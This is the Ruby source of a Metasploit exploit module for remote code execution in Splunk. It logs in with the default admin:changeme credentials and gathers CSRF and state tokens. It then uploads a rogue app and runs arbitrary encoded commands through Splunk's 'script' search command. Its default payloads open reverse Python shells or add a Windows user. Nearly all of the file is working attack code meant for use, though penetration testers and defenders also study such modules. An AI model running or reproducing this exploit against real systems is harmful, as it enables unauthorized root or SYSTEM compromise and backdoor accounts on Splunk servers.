modules/exploits/multi/http/splunk_upload_app_exec.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(
info,
'Name' => 'Splunk Custom App Remote Code Execution',
'Description' =>
'This module exploits a feature of Splunk whereby a custom application can be
uploaded through the web based interface. Through the \'script\' search command a
user can call commands defined in their custom application which includes arbitrary
perl or python code. To abuse this behavior, a valid Splunk user with the admin
role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk. Note that the Splunk web interface
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
tested successfully against Splunk 5.0, 6.1, 6.1.1 and 7.2.4.
Version 7.2.4 has been tested successfully against OSX as well',
'Author' =>
[
"marcwickenden", # discovery and metasploit module
"sinn3r", # metasploit module
"juan vazquez", # metasploit module
"Gary Blosser", # metasploit module updates for Splunk 6.1
"Matteo Malvica" # metasploit module updates for Splunk 7.2.4
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
[ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
[ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'Platform' => %w(linux unix win osx),
'Targets' =>
[
[ 'Splunk >= 7.2.4 / Linux',
{
'Arch' => ARCH_CMD,
'Platform' => %w(linux unix),
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'}
}
],
[ 'Splunk >= 7.2.4 / Windows',
{
'Arch' => ARCH_CMD,
'Platform' => 'win',
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'}
}
],
[ 'Splunk >= 7.2.4 / OSX',
{
'Arch' => ARCH_CMD,
'Platform' => %w(linux unix),
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'}
}
],
[ 'Splunk >= 5.0.1 / Linux',
{
'Arch' => ARCH_CMD,
'Platform' => %w(linux unix),
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'}
}
],
[ 'Splunk >= 5.0.1 / Windows',
{
'Arch' => ARCH_CMD,
'Platform' => 'win',
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'}
}
]
],
'DisclosureDate' => '2012-09-27'))
register_options(
[
Opt::RPORT(8000),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]),
OptPath.new(
'SPLUNK_APP_FILE',
[
true,
'The "rogue" Splunk application tgz',
File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz')
])
])
register_advanced_options(
[
OptBool.new('ReturnOutput', [ true, 'Display command output', false ]),
OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]),
OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]),
OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5])
])
end
def exploit
# process standard options
@username = datastore['USERNAME']
@password = datastore['PASSWORD']
file_name = datastore['SPLUNK_APP_FILE']
# process advanced options
return_output = datastore['ReturnOutput']
disable_upload = datastore['DisableUpload']
@enable_overwrite = datastore['EnableOverwrite']
command_output_delay = datastore['CommandOutputDelay']
# set up some variables for later use
@auth_cookies = ''
@csrf_form_key = ''
@state_token = ''
@splunkweb_csrf_token_8000_id = ''
@csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below.
@ver7 = false # splunk version 7 boolean
app_name = 'upload_app_exec'
p = payload.encoded
print_status("Using command: #{p}")
cmd = Rex::Text.encode_base64(p)
# check if the target version is 7.2.4
if target.name.include? "7.2.4"
@ver7 = true
end
do_login
# fetch the csrf token for use in the upload next
if @ver7 == true
do_get_state_token('/en-US/manager/appinstall/_upload')
else
do_get_csrf('/en-US/manager/launcher/apps/local')
end
unless disable_upload
# upload the arbitrary command execution Splunk app tgz
if @ver7 == true
do_upload_app_7(app_name, file_name)
else
do_upload_app(app_name, file_name)
end
end
if @ver7 == false
# get the next csrf token from our new app
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")
end
# call our command execution function with the Splunk 'script' command
print_status("Invoking script command")
if @ver7 == true
res = send_request_cgi(
'uri' => '/en-US/splunkd/__raw/servicesNS/admin/search/search/jobs',
'method' => 'POST',
'cookie' => "#{@auth_cookies};", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => @splunkweb_csrf_token_8000_id # Version 6 ignores extra headers (verified)
},
'vars_post' =>
{
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
'status_buckets' => "300",
'namespace' => "#{app_name}",
'ui_dispatch_app' => "#{app_name}",
'ui_dispatch_view' => "flashtimeline",
'auto_cancel' => "100",
'wait' => "0",
'required_field_list' => "*",
'adhoc_search_level' => "smart",
'earliest_time' => "0",
'latest_time' => "",
'timeFormat' => "%s.%Q"
}
)
else
res = send_request_cgi(
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified)
},
'vars_post' =>
{
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
'status_buckets' => "300",
'namespace' => "#{app_name}",
'ui_dispatch_app' => "#{app_name}",
'ui_dispatch_view' => "flashtimeline",
'auto_cancel' => "100",
'wait' => "0",
'required_field_list' => "*",
'adhoc_search_level' => "smart",
'earliest_time' => "0",
'latest_time' => "",
'timeFormat' => "%s.%Q"
}
)
end
if return_output
if @ver7 == true
res.body.match('sid.*')
job_id_blob = Regexp.last_match(0)
job_id_blob2 = job_id_blob.split('>')[1]
job_id = job_id_blob2.split('<')[0]
else
res.body.match(/data":\ "([0-9.]+)"/)
job_id = Regexp.last_match(1)
end
# wait a short time to let the output be produced
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
select(nil, nil, nil, command_output_delay)
job_output = fetch_job_output(job_id)
if job_output.body.match(/Waiting for data.../)
print_status("No output returned in time")
else
output = ""
job_output.body.each_line do |line|
# strip off the leading and trailing " added by Splunk
line.gsub!(/^"/, "")
line.gsub!(/"$/, "")
output << line
end
# return the output
print_status("Command returned:")
print_line output
end
else
handler
end
end
def check
# all versions are actually "vulnerable" but check implemented for future proofing
# and good practice
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
}, 25)
if res && res.body =~ /Splunk Inc\. Splunk/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def do_login
print_status("Authenticating...")
# this method borrowed with thanks from splunk_mappy_exec.rb
res = send_request_cgi(
'uri' => '/en-US/account/login',
'method' => 'GET'
)
cval = ''
uid = ''
session_id_port =
session_id = ''
if res && res.code == 200
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
elsif v.split('=')[0] =~ /uid/
uid = v.split('=')[1]
elsif v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
end
end
else
fail_with(Failure::NotFound, "Unable to get session cookies")
end
res = send_request_cgi(
'uri' => '/en-US/account/login',
'method' => 'POST',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
'vars_post' =>
{
'cval' => cval,
'username' => @username,
'password' => @password
}
)
if !res
fail_with(Failure::Unreachable, "No response")
elsif res.code != 200
fail_with(Failure::Unreachable, "Authentication failed")
elsif @ver7 == true
splunkweb_csrf_token_8000_port = ''
@splunkweb_csrf_token_8000_id = ''
splunkd_8000_port = ''
splunkd_8000_id = ''
#puts res
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /splunkweb_csrf_token_8000/
splunkweb_csrf_token_8000_port = v.split('=')[0]
@splunkweb_csrf_token_8000_id = v.split('=')[1]
elsif v.split('=')[0] =~ /splunkd_8000/ # regex as the full name is something like splunkweb_csrf_token_8000
splunkd_8000_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
splunkd_8000_id = v.split('=')[1]
end
end
@auth_cookies = "session_id_8000=37305a4fb182fadd28a1591b64a0b22b0765159e;#{splunkweb_csrf_token_8000_port}=#{@splunkweb_csrf_token_8000_id};#{splunkd_8000_port}=#{splunkd_8000_id}; splunkweb_uid=30A93112-7681-4C0D-B1F6-17CAB1FA2735;login=true"
end
else
session_id_port = ''
session_id = ''
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
end
end
@auth_cookies = "#{session_id_port}=#{session_id}"
end
end
def do_upload_app(app_name, file_name)
archive_file_name = ::File.basename(file_name)
print_status("Uploading file #{archive_file_name}")
file_data = ::File.read(file_name, mode: 'rb')
boundary = '--------------' + rand_text_alphanumeric(6)
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"
data << "#{@csrf_form_key}"
data << "\r\n--#{boundary}\r\n"
if @enable_overwrite
data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
data << "1"
data << "\r\n--#{boundary}\r\n"
end
data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
data << "Content-Type: application/x-compressed\r\n\r\n"
data << file_data
data << "\r\n--#{boundary}--\r\n"
res = send_request_cgi(
{
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
# Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
}, 30)
if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
print_good("#{app_name} successfully uploaded")
else
fail_with(Failure::Unknown, "Error uploading")
end
end
# version 7.2.x only
def do_upload_app_7(app_name, file_name)
archive_file_name = ::File.basename(file_name)
print_status("Uploading file #{archive_file_name}")
file_data = ::File.read(file_name, mode: 'rb')
boundary = '---------------------------' + rand_text_numeric(29)
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"state\"\r\n"
data << "\r\n#{@state_token}\r\n"
data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n"
data << "\r\n#{@splunkweb_csrf_token_8000_id}\r\n"
data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
data << "Content-Type: application/x-compressed-tar\r\n\r\n"
data << file_data
data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
data << "1"
data << "\r\n--#{boundary}--\r\n"
res = send_request_cgi(
{
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
'cookie' => @auth_cookies,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
}, 30)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
unless res.code == 303 || res.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected reply (HTTP #{res.code})")
end
if res.body.include?('There was an error processing the upload')
fail_with(Failure::Unknown, "Error uploading")
end
print_good("#{app_name} successfully uploaded")
end
def do_get_csrf(uri)
print_status("Fetching csrf token from #{uri}")
res = send_request_cgi(
'uri' => uri,
'method' => 'GET',
'cookie' => @auth_cookies
)
res.body.match(/FORM_KEY":\ "(\d+)"/) # Version 5
@csrf_form_key = Regexp.last_match(1)
unless @csrf_form_key # Version 6
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /splunkweb_csrf_token/ # regex as the full name is something like splunkweb_csrf_token_8000
@csrf_form_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
@csrf_form_key = v.split('=')[1]
end
end
end
end
fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
end
# version 7.2.x only
def do_get_state_token(uri)
print_status("Fetching state token from #{uri}")
res = send_request_cgi(
'uri' => uri,
'method' => 'GET',
'cookie' => @auth_cookies
)
#puts res
res.body.match('name=\"state\" value="(.*)"') # Version 5
@state_token = Regexp.last_match(1)
unless @state_token
fail_with(Failure::Unknown, "state token form Key not found")
end
end
def fetch_job_output(job_id)
# fetch the output of our job id as csv for easy parsing
print_status("Fetching job_output for id #{job_id}")
send_request_raw(
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
'method' => 'GET',
'cookie' => @auth_cookies,
'encode_param' => 'false'
)
end
end